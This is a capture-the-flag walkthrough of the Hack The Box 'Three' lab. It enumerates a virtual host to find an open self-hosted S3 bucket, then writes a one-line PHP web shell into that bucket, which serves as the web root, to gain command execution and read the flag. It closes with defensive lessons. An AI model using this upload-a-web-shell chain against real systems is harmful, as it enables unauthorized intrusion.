HTB Starting Point: Three
Three is a Tier 1 Starting Point box, and it’s a clean lesson in how one cloud misconfiguration turns into full remote code execution. The site for a band called The Toppers is backed by a self-hosted S3 bucket, that bucket lets anyone write to it, and Apache runs whatever PHP ends up in it. Chain those together and you get a shell.
Recon
Start with a full service scan and note what’s exposed.
sudo nmap -sC -sV 10.129.96.248
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 7.6p1 (Ubuntu) |
| 80 | HTTP | Apache httpd 2.4.29 (Ubuntu) |
SSH is unlikely to be the way in without creds, so the web server gets my
attention. The page is “The Toppers”, a mostly static band site. The useful part
of a site like this is always the contact section, and here every email address
uses the thetoppers.htb domain.
So I set up name resolution before going further.
sudo nano /etc/hosts
# 10.129.96.248 thetoppers.htb
Enumeration
Directory busting was quiet, so I moved to virtual host enumeration. Multiple subdomains served off one IP is a common pattern, and it’s exactly what gobuster’s vhost mode is for.
gobuster vhost -u http://thetoppers.htb \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain
That returned s3.thetoppers.htb.
The one detail that unlocked the box: a subdomain literally named
s3. That’s Amazon-style object storage, and a self-hosted one usually means an emulator that’s been left wide open.
I added the new vhost to /etc/hosts next to the first, then confirmed the
service was alive.
echo "10.129.96.248 s3.thetoppers.htb" | sudo tee -a /etc/hosts
curl -s http://s3.thetoppers.htb/
The endpoint answered like a running S3 service, so I talked to it as one. The
AWS CLI doesn’t validate credentials against this box, so any junk values work. I
filled every field with temp.
aws configure
# AWS Access Key ID: temp
# AWS Secret Access Key: temp
# Default region name: temp
# Default output format: temp
aws --endpoint=http://s3.thetoppers.htb s3 ls
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
There’s a bucket named thetoppers.htb, and listing it shows the actual website
files. That’s the whole game. The bucket isn’t side storage, it is the web root.
Apache serves straight out of it, so anything I write to the bucket I can then
request over HTTP, and since PHP is enabled it gets executed rather than handed
back as text.
Foothold
I wrote the smallest useful web shell, a one liner that runs whatever I pass in
the cmd parameter, and uploaded it into the bucket.
echo '<?php system($_GET["cmd"]); ?>' > shell.php
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb/shell.php
If the upload fails with a DNS or addressing error, switch the CLI to path style so it stops trying to resolve
thetoppers.htb.s3.thetoppers.htb:aws configure set default.s3.addressing_style path.
Then I confirmed execution by asking who I was running as.
curl "http://thetoppers.htb/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Code execution as www-data.
Privilege Escalation
None needed. On Three the flag sits in the web root’s parent directory and is readable by the web user, so the foothold shell is enough to finish the box.
curl "http://thetoppers.htb/shell.php?cmd=cat+/var/www/flag.txt"
That returns the flag. Box done.
Takeaways
- The intended path was exactly this one. The emails gave me the domain, the
domain led to vhost enumeration, and the
s3subdomain gave up the rest. - Read the contact page and the page source. Skipping them costs you the first foothold on boxes like this.
- The real bug isn’t S3, it’s two mistakes stacked: a bucket writable by anyone, used directly as the web root by a server that runs PHP. Either one alone is bad. Together they’re instant RCE.
- Defensive version: don’t serve executable content out of a writable object store, require real credentials on the storage backend, and keep uploads on a host that can’t run code.
Only test targets you’re allowed to. This is a retired Starting Point box on my own Hack The Box account. Never a live site you don’t own.